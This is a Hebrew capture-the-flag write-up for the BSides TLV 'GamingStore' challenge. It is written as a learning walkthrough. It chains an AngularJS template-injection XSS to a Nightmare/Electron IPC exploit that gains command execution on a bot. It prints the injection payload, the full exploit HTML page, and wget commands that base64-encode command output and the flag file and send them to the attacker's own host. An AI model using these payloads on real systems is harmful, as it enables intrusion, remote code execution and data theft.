GamingStore

נכתב על ידי Yaakov Cohen ו-Narcissus

GamingStore

הקישור מוביל אותנו לחנות משחקי מחשב:

site

התחברנו עם הפרטים מתיאור האתגר וחיטטתנו קצת באתר. שמנו לב שבעמודים של המשחקים אנחנו יכולים לערוך את התיאור:

edited

רצינו לראות אם אפשר להשתמש ב-xss כלשהו, וגילינו שהאתר משתמש ב-AngularJS. מצאנו גם אחלה מאמר שמתאר איך אפשר לעקוף את המערכת ולהטמיע קוד js. כפי שאתם רואים בתמונה למעלה בתיאור המשחק כתוב 2, אבל בעצם הזנו {{1+1}}. אז אנחנו יודעים שאפשר לנצל XSS קבוע. עכשיו בואו נבדוק אם אפשר לגרום לבוט לגלוש לאתר שלנו. שינינו את התיאור והכנסנו את הקוד הזה:

{{constructor.constructor("document.location='http://my_ip:8080/'")()}}

בשרת ראינו שקיבלנו בקשה מהבוט, מעולה זה אומר שהוא לוחץ על קישורים. עכשיו למצוא דרך להוציא ממנו מידע.

אספנו קצת פרטים על הבוט, לדוגמה ה-user-agent:

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Nightmare/2.10.0 Safari/537.36

הבוט משתמש בדפדפן Nightmare/2.10.0, זו גרסה די ישנה. חיפשנו חולשות לגרסה הזאת ומצאנו מתקפה מעניינת! איזה יופי.

ייצרנו עמוד על השרת שלנו עם הקוד מהמתקפה שקישרנו קודם והפננו את הבוט לעמוד החדש.

הקוד מנסה לנצל חולשה בדפדפן ולגרום להתחברות לשרת netcat. הגדרנו את השרת שלנו להאזים לפורט שציינו בעמוד החדש וחיכינו. הבוט אכן ניגש לעמוד החדש שלנו, אבל לא התבצעה חיבור לשרת netcat אז נאלצנו לחפש משהו אחר.

במקום netcat גילינו שאפשר להשתמש ב-wget ובקידוד בבסיס 64 כדי להוציא מידע. מה שעושים זה קוראים ל-wget ומשרשרים עליו את תוצאות הפקודה הרצויה אחרי שקודדנו בבסיס 64. כדי לראות אם זה עובד ניסינו להפעיל את הפקודה ls:

<!doctype html>
<html>
    <head>
        <meta charset="utf-8">
        <title>nightmarejs</title>
    </head>
    <body>
        <script>
            "use strict";
            function exec() {
                try {
                    var sendSync = __nightmare.ipc.sendSync;
                    if (typeof sendSync !== "function") {
                        return;
                    }
                } catch (e) {
                    return;
                }
                /*
                 * ELECTRON_BROWSER_REQUIRE returns metadata for
                 * module.exports, and the actual object is stored in
                 * the objectsRegistry (see valueToMeta())
                 */
                var proc = sendSync("ELECTRON_BROWSER_REQUIRE", "child_process");
                /*
                 * ELECTRON_BROWSER_MEMBER_CALL retrieves a module object from
                 * the objectsRegistry and calls the specified method with an
                 * array of arguments processed by unwrapArgs()
                 */
                var args = [{
                    type: "value",
                    value: "wget http://my_ip:8080/?data=$(ls | base64 -w 0)"
                }];
                sendSync("ELECTRON_BROWSER_MEMBER_CALL", proc.id, "exec", args);
            }
            exec();
        </script>
    </body>
</html>

אחרי בערך חצי דקה קיבלנו בקשה מהשרת עם טקסט בבסיס 64 שהכיל:

bot.js
index.py
node_modules
package-lock.json
package.json

מעולה זה עובד. עכשיו להשתמש בפקודה האהובה עלי. שינינו את value בקוד הקודם ל: "wget http://my_ip:8080/?data=$(/bin/cat $(find / -name flag.txt) | base64 -w 0)" ואחרי כמה שניות קיבלנו בקשה עם: QlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0KQlNpZGVzVExWe0FuZ3VsYXJqU19pc19GcmVkZHlfS3J1ZWdlcn0K זה מכיל את הדגל, פעמיים: BSidesTLV{AngularjS_is_Freddy_Krueger}.

Success